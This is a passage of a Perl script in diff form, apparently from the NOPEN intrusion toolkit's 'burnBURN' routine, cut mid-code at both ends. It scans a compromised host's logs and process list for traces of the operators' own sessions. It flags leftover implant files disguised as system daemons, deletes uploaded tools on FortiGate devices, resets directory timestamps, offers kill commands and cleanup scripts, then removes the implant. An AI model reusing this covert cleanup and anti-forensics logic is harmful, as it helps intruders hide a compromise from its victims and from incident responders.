/((Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+):(\d+)(:\d+){0,1}\s*(\d+){0,1})/; + chomp($remoteepochtime = `date -d "$remotetime" +\%s`); + if ($wearcupmode) { + if (open(IN,$pidsfile)) { + while () { + my ($pid1,$pid2) = /(\d+),(\d+)/; + push (@sleeppids,$pid1) unless $sleeppids{$pid1}++; + push (@cuppids,$pid2) unless $cuppids{$pid2}++; + } + close(IN); + } else { + mydie("FATAL ERROR: -gs wearcup was run previously but cannot open $pidsfile"); + } + } +} +#($output,$nopenlines,@burnoutput) = doit("-lss -a -f $tmpfile $recursels $logdirs"); +my $extradir = "/" if $dorootdir; +my @lsopts = ("-aU","-f$tmpfile"); +unless ($nofilter) { + open(BURNOUT,">$optmp/burnfilter.$nopen_rhostname"); + # We use global $grepregexp here, but we need to escape the + # the . (dot) so print sends "\." to the burnfilter file. + my $escapedexpr = $grepregexp; + $escapedexpr =~ s,\.,\\\.,g; +# $escapedexpr =~ s,\$,\\$,g; + print BURNOUT $escapedexpr."\n"; +# print BURNOUT "(sess_[0-9a-f]{32}|s\\.[a-z0-9]{6})\$\n"; + push (@lsopts,"-V","I:$optmp/burnfilter.$nopen_rhostname"); + close(BURNOUT); +} + +($output,$nopenlines,@burnoutput) = + nopenlss(@lsopts, + $recursels, + $logdirs, + $extradir); +#dbg("lsopts=(@lsopts) +#burnoutput=(@burnoutput) + +#tmpfile=$tmpfile: +#".`ls -al $tmpfile`." + +#recursels=$recursels= +#logdirs=$logdirs= +#extradir=$extradir= + +#"); +$killpid = filepopup($tmpfile,"-geometry 88x58+1280+0 ". + "-bg white -fg blue ". + "-title \"sorted autologcheck files $nopen_rhostname\"", + "gotoend") unless $nopopup; +#dbg("lsopts=(@lsopts) +#burnoutput=(@burnoutput) + +#tmpfile=$tmpfile: +#".`ls -al $tmpfile`." + + + +#"); +my $matchline = ""; +if ($lines and $promptlater) { + ($ans,$matchline) = mygetinput + ("You can examine the logs above with -tail now.\n\n". + "Paste in the ENTIRE line (triple click it) of the oldest entry you wish to\n". + "-tail. $prog will show -tail output for each file at least that current.\n". + "(Enter nothing if you want to see no -tail output at all.)\n". + "Paste line:"); + $lines = 0 unless $matchline; + } +unless ($lines == 0) { # do not bother with the rest unless tailing + my ($gotone,$file,$type,$gotmatch,$skipping,$moreout, + @moreout,%tailthese,@dothese) = (0); + while (@burnoutput) { + $_ = shift(@burnoutput); + chomp; + ($type,$file) = /^(.).* \d\d:\d\d \d\d\d\d (\/.*)$/ ; + if ($notailfiles{basename($file)}) { + $skipping .= sprintf " %-30s (binary)\n",$file if $gotone; + next; + } + if ($matchline and !$gotmatch) { + next unless /^\s*$matchline\s*$/; + $gotmatch++; + } + unless ($type eq "-") { + # skip links/dirs/etc + $skipping .= sprintf " %-30s (not a file)\n",$file if $gotone; + next; + } + unless ($matchline) { + my ($stampsecs,$monstr,$mday,$hr,$min,$year) = epochseconds($_); + next if ($stampsecs < $cutofftime) ; +# dbg("($stampsecs,$monstr,$mday,$hr,$min,$year) $_ $stampsecs < $cutofftime $file"); + } + $gotone++; + push (@dothese,$file) unless $tailthese{$file}++; + }#while (@burnoutput) + $gotone=0; + my $showme = "@dothese"; + $showme =~ s/\s/\\t/g; + $showme = "Tailing (w/ -tail -$lines) these files:\n\n$showme\n"; + $showme = "${COLOR_FAILURE}Skipping these:\n$skipping\n$COLOR_NORMAL$showme" + if $skipping; + my $popupstr = "List of files above also just popped up on right screen.\n" + unless $nopopup; + while (@dothese) { + $file = shift(@dothese); + if (!$gotone and $pause and @dothese) { +# my ($nextfile) = $dothese[0] =~ /\s\d\d:\d\d\s\d{4}\s(\/.*)/; + my $nextfile = $dothese[0] ; + my ($ans) = mygetinput("$showme\n$popupstr\nontinue ($file will be first), or bort","C","A"); + mydie("User Aborted") if ($ans eq "a"); + } + doit("-tail -$lines $file"); +# if ($gotone and $pause and @dothese) { + if ($pause and @dothese) { + my $nextfile = $dothese[0]; + my ($ans) = mygetinput("Above was tail of: \t$file\n\n". + "ontinue ($nextfile is next), or bort","C","A"); + if ($ans eq "a") { + mydie("User Aborted"); + } + } else { + progprint("Above was tail of: \t$file",$COLOR_NORMAL); + } + $gotone++; + }#while (@dothese) + unless ($gotone) { + progprint("${COLOR_FAILURE}Above${COLOR_NORMAL} is the sorted list of logs in $logdirs, ${COLOR_FAILURE}BUT NONE IS UNDER ${COLOR_FAILURE}$hoursold HOURS OLD${COLOR_NORMAL}\n"); + # print OUT "-nohist # ${COLOR_FAILURE}Above${COLOR_NORMAL} is the sorted list of logs in $logdirs, ${COLOR_FAILURE}BUT NONE IS UNDER ${COLOR_FAILURE}$hoursold HOURS OLD${COLOR_NORMAL}\n"; + } +}#unless ($lines == 0) + +# Must return true value as we are required (e.g., by autosurvey) + +return 1 unless $burnmode or !$calledviarequire; +mydie() unless $burnmode; + +# ASSERT: Remainder is burnmode stuff, and cannot be done via require + +# Set aside previous copy of this if there as .NNNN +$burnfile = "$opdown/final-burn.$nopen_rhostname"; +$abortedburnfile = "$opdown/aborted-burn.$nopen_rhostname"; +preservefile($burnfile,$abortedburnfile); +my ($andps,$whatnext,$arptoo) = (" and -gs pscheck -t","-gs putfiles is next","-gs arp(no need to review arp), "); +$arptoo = "" if $host_fortigatemode; +if ( $builtinsonly) { + $arptoo = ""; + $andps = " and -lt"; + $andps = "-lt" if ($freebsdbox or $host_fortigatemode); + $whatnext = "Next/last step is checking/filtering -lt output above and looking for\n". + "any files we uploaded, then you must answer \"BURN\"."; + $wcmd = "-w"; + $wcmd = "" if $host_fortigatemode; +} +offerabort("That was the recent logs by time.\n". + "Proceeding with $arptoo$wcmd$andps"); + + +unless ($builtinsonly ) { + if ($host_fortigatemode) { + preservefile("$opdown/arp_at_burn.$nopen_rhostname"); + doit("/bin/bb cat /proc/net/arp > T:$opdown/arp_at_burn.$nopen_rhostname"); + } else { + mydo("autoarp","-P"); + } +} + + +my %cmds = (); +%cmds = ( # COMMAND , COMMENT + "0 $wcmd", $whatnext,) unless !$wcmd; + +$pscmd = "/bin/bb ps" if $host_fortigatemode; + +if ($host_fortigatemode) { + $cmds{"1 $pscmd"} = "Next/last step is checking/filtering $pscmd and -lt output above, and looking for\n". + "any files we uploaded, then you must answer \"BURN\"."; + ($andps,$whatnext,$arptoo) = (" and $pscmd","$pscmd is next","-gs arp(no need to review arp), "); +} elsif (!$builtinsonly) { +# $cmds{"1 $pscmd"} = "Next/last step is checking/filtering $pscmd and -lt output above, and looking for\n". +# "any files we uploaded, then you must answer \"BURN\"."; + mydo("autopscheck","-t","autoburnfile=$burnfile"); + offerabort("That was your =ps sorted by time."); +} + +my $maxlength = 200; +foreach my $cmd (sort by_num keys %cmds) { + my $comment=$cmds{$cmd}; + $cmd =~ s/^\d+\s+//; + ($output,$nopenlines,@burnoutput) = doit("$cmd >> T:$burnfile"); + if ($cmd =~ /^={0,1}ps/) { + @psoutput = @burnoutput; + foreach (@psoutput) { + $psheader = $_ if (/PID/ and /USER/ and /COMMAND/); + my ($thispid,$ppid) = /^[\s\D]*(\d+)\s+(\d+)/; + if ($linuxbox) { + ($thispid,$ppid) = /^\s*\S+\s+\S+\s+\S+\s+(\d+)\s+(\d+)/; + } elsif ($freebsdbox) { + ($thispid,$ppid) = /^\s*\S+\s+(\d+)\s+(\d+)/; + } + $psline{$thispid} = $_ if ($thispid); + $parentpid{$thispid} = $ppid if ($thispid and $ppid); + if ( /bash --posix \+o history/ or + (/bash --po/ and $freebsdbox) + ) { + push (@posixlines,$_); + if (my ($pts) = /\s(pts\S*)\s/) { + $posixpts{$pts}++; + } + $posixpids{$thispid}++; + $posixpids{$ppid}++ unless (!$ppid or $ppid <= 1); + } + if (length > $maxlength) { + push(@longlines,$_); + } + if ($wearcupmode) { + push (@sleeplines,$_) + if (/sleep\s*\d+\s*$/ and $sleeppids{$thispid}); + push (@cuplines,$_) + if ($thispid and $cuppids{$thispid}); + } + if (/telnet (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}){0,1}/) { + push (@telnetlines,$_); + $telnetpids{$thispid}++ ; +# $telnetpids{$ppid}++ unless (!$ppid or $ppid <= 1); + } + if (/uudecode/) { + push (@uudecodelines,$_); + $uudecodepids{$thispid}++ ; +# $uudecodepids{$ppid}++ unless (!$ppid or $ppid <= 1); + } + if (/uncompress/) { + push (@uncompresslines,$_); + $uncompresspids{$thispid}++ ; +# $uncompresspids{$ppid}++ unless (!$ppid or $ppid <= 1); + } + } + } + offerabort($comment); +} +@posixpids = sort keys %posixpids; +@telnetpids = sort keys %telnetpids; +@uudecodepids = sort keys %uudecodepids; +@uncompresspids = sort keys %uncompresspids; + +my $ptsgrepstr = join("|",sort keys %posixpts,@posixpids); +$ptsgrepstr =~ s,/,.,g; +@posixptslines = grep / ($ptsgrepstr) /,@burnoutput; +@posixpts = sort keys %posixpts; +my $sleepcuplines = join("\n",@sleeplines,@cuplines); +#dbg("ptsgrepstr=$ptsgrepstr= +#posixpids=(@posixpids) +#posixpts=(@posixpts) +#posixptslines=(@posixptslines) +#sleeplines=(@sleeplines)\nsleepcuplines=$sleepcuplines"); +my $lsfile="$opdown/final-ls.$nopen_rhostname"; +preservefile($lsfile); +`lss $tmpfile | tee $lsfile >> $burnfile`; + +# Last use of $burnfile, we log that timestamp +unless (my $myhop = $gbl_nopenhosts{$nopen_rhostname}) { + $myhop = 999; + $myhop-- while (defined $gbl_nopenconnect{$myhop}) ; + $myhop = "$myhop $nopen_rhostname"; +} + +#($output,$nopenlines,@burnoutput) = +# doit("-ls $recursels -t @dodirs >L:$lsfile"); + +#dbg(" +#Using: + +#lss $tmpfile | tee $lsfile >> $burnfile + + +#Just created +#burnfile=$burnfile +#lsfile=$lsfile + + +#ls -al $burnfile $lsfile\n". +#`ls -al $burnfile $lsfile` +# ); +open(IN,$lsfile); +my @lsoutput=; +close(IN); +#`lss $lsfile >> $burnfile`; +unlink $lsfile; + + @burnoutput = @lsoutput; +#if ($nofilter) { +# @burnoutput = @lsoutput; +#} else { +# @burnoutput = grep ! /(\s|\/)$grepregexp$/i , @lsoutput; +#} +@burnoutput = grep ! /^\s*$/ ,@burnoutput; +my $badfilesnotefile = "$opdown/final-burn-BADFILES.$nopen_rhostname"; +## Get rid of the colors! +#@lsoutput = grep ! /\033\[\d;\d{2}m/ ,@lsoutput; +# Take note of any bad files in final -ls +# This bunch can be file or dir: +@badfiles = grep m,[ \/]\.(dskman|psi_ptr|drv|scsi|pci|X11R6)$|/\[|\]$, ,@lsoutput; + + +if ($host_fortigatemode) { + my ($output) = doit("-ls /bin/sh /bin/bb /bin/httpd"); + my ($ans) = mygetinput + ($COLOR_FAILURE."\n". + "We are on a fortigate.\n$COLOR_NORMAL\n". + "We created the /bin/httpd, /bin/bb files and /bin/sh link, they\n". + "should be deleted now.\n\n". + "Delete those files and -touch /bin/init /bin?","Y"); + if ($ans eq "y") { + progprint("You must answer YES to delete these:\n\nYES\n\n"); + my $shelltoo = ""; + $shelltoo = " /bin/sh" if ($host_fortigatelinksh); + doit("-rm$shelltoo /bin/bb /bin/httpd", + "-touch /bin/init /bin"); + sleep 4; + doit("-ls -t /bin"); + } +} +# See what files we -put during op +(%putfiles,@targetfiles,@stilltherefiles) = (); +if (my $putwarning = putfiles(quiet)) { + my $default = "CONTINUE"; + if ($putwarning =~ /LIKELY THESE ARE OUR/) { + $default = "ABORT"; + $putwarning .= "$COLOR_NORMAL\n". + "If you continue here, we will switch to$COLOR_FAILURE". + " -B/force-burn$COLOR_NORMAL mode\n"; + } + offerabort($putwarning,$default); + # If they continued there, we turn on forceburn + $forceburn = 1 if $putwarning =~ /LIKELY THESE ARE OUR/; +} + +my @checkbadfiles = (); + +push(@badfiles,@stilltherefiles); +# This bunch must be files: +my @lsfilesonly = grep /^-/,@lsoutput; +push(@badfiles, grep /[ \/](\.scsi|\.pci|.c|t|\.t)$/,@lsfilesonly); +push(@checkbadfiles, grep /[ \/](\.scsi|\.pci|.c|t|\.t)$/,@lsfilesonly); +push(@badfiles, grep /[ \/](date|devfsadmd|sendmail|nscd|nfsd|nmbd|crond|podd|ppod|lvmkd|pageout)/,@lsfilesonly); +push(@checkbadfiles, grep /[ \/](date|devfsadmd|sendmail|nscd|nfsd|nmbd|crond|podd|ppod|lvmkd|pageout)/,@lsfilesonly); +# Take out files in /etc, we do not use that +@badfiles = grep ! m, /etc/, , @badfiles; +@checkbadfiles = grep ! m, /etc/, , @badfiles; + +# Take out files starting in /var/run and ending in .pid probably legit +@badfiles = grep ! m,/var/run/.*\.pid$, , @badfiles; +@checkbadfiles = grep ! m,/var/run/.*\.pid$, , @badfiles; + +# Take out sendmail.st in /var/log, we do not use that +@badfiles = grep ! m, /var/log/sendmail.st, , @badfiles; +@checkbadfiles = grep ! m, /var/sendmail/sendmail.st, , @badfiles; + +foreach my $hdir (keys %host_hiddendirs) { + # We ignore badfiles if in hidden directory + @badfiles = grep ! m,$hdir,, @badfiles; + @checkbadfiles = grep ! m,$hdir,, @checkbadfiles; +} +#dbg("badfiles=(@badfiles)"); +@badfiles = uniqify_array(@badfiles); +@checkbadfiles = uniqify_array(@checkbadfiles); +my %badfiles=(); +foreach my $fileline (@badfiles) { + $badfiles{$fileline}++; +} + +# Highlight any recent files if we have them +my $yelline = $COLOR_WARNING.("="x79)."\n".$COLOR_NORMAL; +my @recentfiles = (); +my ($ratdir,$ratname)=(); +foreach (@lsoutput) { + next if (m,^d.* /proc$,); # Don't show /proc dir as current, silly + +# Why was this only HPUX? See if this flags too often. +# if ($hpuxbox) { + if (m,^[^/]+(/\S+),) { + my $file = $1; + if ($file =~ /(sendmail|nscd|nfsd|nmbd|crond|podd|ppod|lvmkd)/) { + $ratname = $file; + $ratdir = dirname($file); + } + } +# } + next if $badfiles{$_}; + my ($filetime) = /((Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+):(\d+)(:\d+){0,1}\s*(\d+){0,1})/; + next unless $filetime; + chomp(my $fileepochtime = `date -d "$filetime" +\%s`); + my $diff = abs($fileepochtime - $remoteepochtime); + next unless $diff < $hoursold * 60 * 60 ; +# dbg("diff=$diff fet=$fileepochtime ret=$remoteepochtime recent: $_"); + push(@recentfiles,$_); +} +if (@recentfiles) { + my $recentfiles = + $yelline. $yelline. + join("",@recentfiles).$COLOR_WARNING. + $yelline. $yelline; + offerabort("Checking: $logdirs /.\n". + "\n$recentfiles\n". + "List above shows these recent files under ${hoursold}h old.\n\n". + "You$COLOR_FAILURE might$COLOR_NORMAL want to consider aborting and checking those out, though\n". + "of course normal host behavior may be causing them."); +} +my $badfilelist = ""; +if (@badfiles) { + my $logdirslist=""; + foreach (split(/\s+/,$logdirs)) { + $logdirslist .= "\n# $_"; + } + preservefile($badfilesnotefile); + foreach (@badfiles) { + my $file=""; + if ($hpuxbox and m, \d\d \d\d:\d\d \d\d\d\d (/\S+),) { + $file = $1; +# next if ($file eq $ratdir or $file eq $ratname); + } + $badfilelist .= "$_\n"; + } +} +my ($more,$more2,$more3) = (); +if (@posixlines or @telnetlines or @uudecodelines or @uncompresslines) { + if (!$builtinsonly and ($targetdate) = doit("date ; date -u")) { + $targetdate = "Target dates: DATE : ".$targetdate; + $targetdate =~ s/\n/\n DATE GMT: /; + } +} +if (@posixlines) { + my $are = "is a"; + my $they = "this"; + my $s = ""; + if (@posixlines > 1) { + $s = "s"; + $are = "are"; + $they = "they"; + } + $more .= join("\n",$psheader,@posixptslines); + my $pidregexp = join("|",@posixpids); + my @ptsnotposix = grep !/$pidregexp/,@posixptslines; + if (@ptsnotposix) { + my $s = ""; + my $are = "is a"; + my $DO = "DOES"; + $more3 = "\n\n". + "$COLOR_NOTE ALSO NOTE: There $are line$s matching the PTSs that $DO NOT match any of the\n". + " posix PIDs:$COLOR_FAILURE\n". + join("\n",$psheader,@ptsnotposix); + } + offerabort + ($targetdate. + $COLOR_FAILURE."\n". + "POTENTIAL problem $pscmd line$s:\n$COLOR_NOTE\n". + $more."\n$COLOR_FAILURE\n". + "There $are bash.*posix line$s in the $pscmd that could be our stranded initial\n". + "ftshell session$s from today's or previous successful triggers (with possibly\n". + "UNSUCCESSFUL upload/execute phases). Above you see ALL entries from $pscmd with\n". + "any of these associated PIDs and/or pts/# TTYs:\n". + " PIDs=@posixpids PTSs=@posixpts\n". + "CONSIDER:\n\n". + " # Is the time shown recent? If not, could it still be us?\n". + " # Get help. No one can make this call alone.\n". + " # Only continue here if you are SURE these are not us.\n\n". + "If you and the experts AGREE $they $are us, abort (the default option here),\n". + "kill those pids (see pastable below), and then run -burnBURN again.\n\n". + "Kill pastable (if it is ALL us): # kill @posixpids". + $more3, + "A" + ); +} +dbg("HERE0alerton"); +alerton(\@psoutput, + \@telnetpids,\@telnetlines,"telnet", + \@uudecodepids,\@uudecodelines,"uudecode", + \@uncompresspids,\@uncompresslines,"uncompress", + ); +if (@longlines) { + my $are = "is"; + my $a = " a"; + my $are2 = "is"; + my $they = "this"; + my $them = "it"; + my $s = ""; + my $nots = "s"; + my $more = join("\n",@longlines); + if (@longlines > 1) { + $a = ""; + $s = "s"; + $nots = ""; + $are = "are"; + $are2 = "are"; + $they = "they"; + $them = "them"; + } + offerabort + ( + $COLOR_FAILURE."\n". + "POTENTIAL problem $pscmd line$s:\n$COLOR_NOTE\n". + $more."\n$COLOR_FAILURE\n". + "There $are$a long line$s (> $maxlength characters) in the $pscmd output that\n". + "need$nots to be looked at.\n". + "\n". + "CONSIDER:\n\n". + " # Is the time shown recent? If not, could it still be us?\n". + " # Does the time/date shown coincide with a recent op?\n". + " # Get help if you need it (most will).\n". + " # Only continue here if you are SURE $they $are not us.\n\n". + "If you and the experts AGREE $they $are us, abort (the default option here),\n". + "and clean $them up.", + "A" + ); +} +if ($wearcupmode) { + if (@sleeplines > 1) { + offerabort + ($COLOR_FAILURE. + "NOTE: You seem to have run MORE THAN ONE instance of cup. DON'T DO THAT. \n\n". + $sleepcuplines."\n\n". + "Get help if you need it.\n\n". + "You should probably kill both pids for all but one of them, then just the\n". + "sleep pid for the remaining instance (your kill pastables will popup after\n". + "you hit continue). But if one instance was different than the other, there\n". + "might be a reason for two of them. Just be careful.". + $COLOR_NOTE); + } +# dbg("wearcupmode=$wearcupmode hpux=$hpuxbox linux=$linuxbox \n". +# "sleeplines=(@sleeplines) cuplines=(@cuplines)"); + unless (@sleeplines) { + $more .= + "$COLOR_WARNING WARNING WARNING WARNING WARNING WARNING WARNING\n". + "$COLOR_FAILURE WARNING WARNING WARNING WARNING WARNING WARNING\n". + "$COLOR_WARNING WARNING WARNING WARNING WARNING WARNING WARNING\n\n". + $COLOR_NOTE ; + if (-e $killsfile) { + $more .= "NOTE: There is a $killsfile\n". + " file, indicating that -gs wearcup had been run once, but those pids\n". + " are now gone.\n\n"; + $more2 = " again"; + } + if ($hpuxbox) { + mydie + (".\n\n\n\n".$COLOR_NOTE. + $more. + "You are on an HP-UX box ($COLOR_FAILURE$nopen_serverinfo$COLOR_NOTE),\n". + $COLOR_FAILURE. + "BUT THERE IS NO CUP SCRIPT RUNNING! You must do that at the beginning\n". + "of your op!! Run -gs wearcup$more2 now (add any other options you may need):$COLOR_NORMAL\n\n\t-gs wearcup" + ); + } else { + mydie(".\n\n\n\n".$COLOR_NOTE. + $more. + "You previously ran \"-gs wearcup\",$COLOR_FAILURE\n". + "BUT THERE IS NO LONGER ANY CUP SCRIPT RUNNING!\n". + "You are not on an HP-UX box, so perhaps you meant to kill the cup script?\n". + "If that is the case, use \"-burnBURN -B\" to override this objection and\n". + "proceed with the -burn." + ) unless $forceburn; + } + } +} +#dbg("badfilelist=$badfilelist= +#badfilesnotefile=$badfilesnotefile=\n\n".`cat $badfilesnotefile`); + +# Offer to examine any @badfiles on target with -gs toolcheck. +#dbg("checkbadfiles has ".scalar @checkbadfiles." entries before +#(@checkbadfiles) +# "); + +@checkbadfiles = uniqify_array(@checkbadfiles); + +#dbg("checkbadfiles has ".scalar @checkbadfiles." entries after +# (@checkbadfiles) +# "); + +# 20100621: Disabled this checkbadfiles section for now. +if (@checkbadfiles) { + offerabort("${COLOR_FAILURE}\n ". + join("\n ",@checkbadfiles). + "${COLOR_NORMAL}\n". + "List above shows these files on target, possibly left by us.\n\n". + "If you $COLOR_FAILURE continue$COLOR_NORMAL, $prog will offer to check each binary using\n". + "-gs toolcheck now, or abort and check them yourself."); + # Grab the filenames and push each one through. + my @autoargv = (); + my ($filepath,$dir,$file) = (); + my %donealready = (); + foreach(@checkbadfiles) { + $filepath = $1 if /^-.*\s(\/.*\/\S+)$/; + next unless $filepath; + next if $donealready{$filepath}++; + ($dir,$file) = ($1,$2) if $filepath =~ /(\/.*)\/(\S+)$/; + my ($ans) = mygetinput("Proceed with check of $filepath using -gs toolcheck -d$dir -f$file?","N"); + if ($ans eq "n") { + $badfilelist =~ s,\n[^\n]* $filepath\n,\n,g; + $badfilelist =~ s,^[^\n]* $filepath\n,,g; + next ; + } + @autoargv = ("-d$dir","-f$file"); + mydo("autotoolcheck",@autoargv); + #dbg(" mydo(autotoolcheck,@autoargv); returned $?"); + @autoargv = (); + ($filepath,$dir,$file) = (); + } +} + +$badfilelist = "" if ($badfilelist eq "\n"); +if ($badfilelist) { + open(OUT,">$badfilesnotefile"); + my ($hpuxstuff,$hpuxmore,$hpuxgeom) = (); + my $cleanmore = "Clean that up!"; + if ($hpuxbox) { + $cleanmore = ""; + $hpuxstuff = " (but this is an HP-UX box with wearcup running, so that is ok.)\n". + "#\n#\n". + "# If these are ALL either\n#\n". + "# 1) going to be taken care of by your cup script (that is,\n". + "# wiped by the script uploaded earlier), or\n#\n". + "# 2) NOT OURS AT ALL AND YOU ARE SURE OF THAT\n#\n". + "# then you can/should continue with the single \"kill\" of your sleep\n". + "# PID to complete the op by firing your CleanUP (cup) script. \n#\n"; + $hpuxmore = " MAY OR MAY NOT"; + $hpuxgeom = "+855+0 "; + } + print OUT "# during -gs burnBURN on $nopen_rhostname. $cleanmore\n"; + print OUT "# \n"; + if ($forceburn) { + print OUT "# \n"; + print OUT "# \n"; + print OUT "# YOU ARE PROCEEDING WITH THE BURN APPARENTLY. \n"; + print OUT "#\n#\n#\n"; + } else { + print OUT "# NOTE: Feel free to get help here to figure this out if\n"; + print OUT "# you are not sure what is and what is not BAD.\n#\n#\n"; + print OUT "#\n# UNABLE TO BURN!!!!$hpuxstuff\n#\n"; + print OUT "# WE$hpuxmore HAVE A PROBLEM!!! THERE ARE BAD FILES\n"; + print OUT "# somewhere on target (see below).\n"; + print OUT "# $logdirslist\n#\n"; + } + if (!$hpuxbox) { + if ($forceburn) { + print OUT "# You ran -burnBURN -B, forcing -burn despite a possible BAD FILE (see below).\n"; + print OUT "#\n#\n#\n"; + print OUT "# You must have gotten an expert (or ANOTHER one, at least TWO of you) and you\n"; + print OUT "# both agreed that proceeding is correct. If that is not the case, abort and do it.\n"; + print OUT "#\n"; + print OUT "# You are still shown this popup for emphasis. You may close it and continue\n"; + print OUT "# if you are cleared to proceed despite this issue.\n"; + } else { + print OUT "# If they are not ours and you AND YOUR BUDDY are sure, rerun $prog\n"; + print OUT "# with the -B option to force the $prog to not die here\n"; + } + } + print OUT "# \n"; + print OUT "$badfilelist"; + close(OUT); + filepopup($badfilesnotefile, + "-geometry 88x88$hpuxgeom -bg red -fg white"); + mydie("See popped up window for problem files/directories.\n\t\t\t". + "Fix that or get help and try again.") + unless $forceburn or $hpuxbox; +} +if ($badfilelist eq "" and -e $badfilesnotefile) { + rename($badfilesnotefile,"$badfilesnotefile.HPUXBURN") + if (-e $badfilesnotefile and $hpuxbox); + rename($badfilesnotefile,"$badfilesnotefile.RESOLVED") + if -e $badfilesnotefile; +} +my $filtermore = "(with$COLOR_NOTE $grepregexp$COLOR_NORMAL filtered out)" + unless $nofilter; +#dbg("output=(@burnoutput)"); +offerabort(".\n\n\n". + "$COLOR_NORMAL\n". + " @burnoutput\n\n". + "That was -ls -t output $filtermore" + ) + unless $hpuxbox; + +# We assume here a pitch will never need -gs wearcup as part of the +# -burn/exit process, no need to check for $lastout. +if ($wearcupmode) { + # Child pops up the kill commands to use + unless (! -e $killsfile or fork) { + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket) if (defined $socket); + # Make sure we are on top of badfiles window, sleep 1 + sleep 1; + exec("xterm -ut +cm +cn -sk -sb -sl 15000 -title WEARCUP_KILLS ". + "-hold -geometry 74x52-53+26 -bg white -fg red -e ". + "cat $killsfile"); + exit; + } + chomp(my $grepcleaner = `grep grep $killsfile`); + my $cupmore = "You are on an HP-UX box ($COLOR_FAILURE$nopen_serverinfo$COLOR_NOTE),\n" + if $hpuxbox; + $cupmore = "You are NOT (repeat NOT) on an HP-UX box\n". + "($COLOR_FAILURE$nopen_serverinfo$COLOR_NOTE),\n" + unless $cupmore; + $cupmore .= "it appears your wearcup script will be doing some cleaning for you,\n" + if $grepcleaner; + mydie(".\n\n\n". + "$COLOR_NORMAL\n". + " @burnoutput\n\n". + "That was -ls -t output $filtermore". + "\n$COLOR_NOTE\nAnd these are your cup script and sleep entries from $pscmd:\n". + "$COLOR_NORMAL\n". + $sleepcuplines."\n\n". + "\n".$COLOR_NOTE. + $cupmore. + "and you did run -gs wearcup earlier, so $prog will not actually\n". + "burn. Instead, a window just popped up with the pastables to safely get\n". + "off the box, removing our presence.\n\n\n" + ); +} + +# Now we do a -replay -AH but only if we are the first (noclient) hop +# in didthis. +($output,$nopenlines,@firsthops) = + doit("-lsh didthis | grep noclient | grepip"); +my $lastout = 0; +foreach my $ip (@firsthops) { + $lastout++ if $ip eq $nopen_myip; + last if $lastout; +} +if ($lastout) { + my $kmax = 500; # Some of our longer -ls output is > 150K + my $maxopt = "-S $kmax"; + my ($ans) = mygetinput + (".\n". + "From didthis output, it appears this is your first hop in, last\n". + "hop out, so we will be running \"-gs replay $maxopt -AH\" to built NOPEN\n". + "scripts for later in cmdout/html. (The $maxopt skips commands whose output\n". + "is more than ${kmax}K.) You should normally let this run,\n". + "but if you REALLY NEED to you can kip it.\n\n". + "kip replay or ontinue?","C","S" + ); + + ($output,$nopenlines,@firsthops) = + doit("-gs replay $maxopt -AH -b /bin/echo") + unless $ans =~ /^s/i; +} + +my ($otherprog,$otheroutput) = $host_donotburn{$nopen_rhostname} + =~ /(\S+)\s*(.*)/; + +if ($otherprog) { + # TODO: Lost this code had to add it from memory + my $solmore = " (which in a Solaris zone can be > 1)" + if ($host_initpid > 1); + my $more = "Your parent pid is init's ($host_initpid$solmore),\n". + "so you need only exit all live NOPENs with: -exit"; + if ($targetppid != $host_initpid) { + $more = "${COLOR_NORMAL}To skip the -burn/BURN:\n\n". + "First, kill your parent PID/listener manually with: kill $targetppid\n\n". + "Then you can simply exit all live windows with: -exit"; + } + mydie($COLOR_FAILURE. + "A previous instance of $otherprog means that you\n". + "should probably NOT -burn/BURN off of $nopen_rhostname.\n\n\n". + $more + ); +} +my $FUN = "BURN"; +$FUN="FIRE FIRE BURN" + if (myrand(1,100) < 6); + + + +progprint("BURNING! BURN $FUN BURN"); +newhostvar("gbl_nopenburned{$gbl_nopenhosts{$nopen_rhostname}}",scalar gmtime()); +doit("-burn"); + +($output) = doit("-lsh echo BURN ABORTED"); +if ($output =~ /ABORTED/) { + newhostvar("gbl_nopenburned{$gbl_nopenhosts{$nopen_rhostname}}", + "ABORTED at ".scalar gmtime()); + rename($burnfile,$abortedburnfile); +} + +# END MAIN + +################################### +# SUBROUTINES +################################### + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + if ($willautoport and $socket) { + progprint("$prog called -gs logcheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); +# $burncheckonly = $0 =~ /autoburn/; + $burnmode = $0 =~ /autoburnBURN/; + $prog = "-gs burnBURN" if $burnmode; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + mydie("bad option(s)") if (! Getopts( "hvl:LRpa:xs:FBrbPTSw" ) ) ; + $notmp = $opt_T if $burnmode; + $skiprootdir = $opt_S; + $pscmd = "=ps"; + ($hpuxbox) = 1 if $nopen_serverinfo =~ /hp.{0,1}ux/i; + ($linuxbox) = 1 if $nopen_serverinfo =~ /linux/i; + if ($nopen_serverinfo =~ /freebsd/i) { + # We use =ps for all others, but for freebsd we want ps aluxww + # the "l" option puts the parent pid right next to the pid like + # we want here to find both. + ($freebsdbox) = 1; + $pscmd = "ps aluxww"; + } + $promptlater = $opt_P; + $builtinsonly = $opt_b; + $nopopup = (!$opt_x or $burnmode); + $forceburn = ($opt_B and $burnmode); + $nofilter = $opt_F; + $pause = 0; + $pause = "-pause" unless $opt_p; + my $remove = "@ARGV" ; + $gsoptions =~ s/$remove// ; + foreach (@ARGV) { + $dodirs{$_}++ if (/^\// and ! /^\/dev/) ; + } + my $deflogdirs = "/var/log /var/log/audit /var/adm /var/gdm /var/xdm /var/dt /var/run /var/*acct* /var/*/*acct* /etc" ; + # pull more dirs to look in from out put of + # "grep -v ^# /etc/syslog.conf" output saved by autodone, if any + foreach $tmpdir (split(/\s+/,$deflogdirs)) { + $dodirs{$tmpdir}++ ; + } + if (open(IN2,"< $optmp/.syslog.$nopen_rhostname")) { + while () { + # comment lines starting with # already removed when file created + s/\#.*// ;# remove comments after content + split (/\s+/) ; + # $_[$#_] is the final entry on the line + if 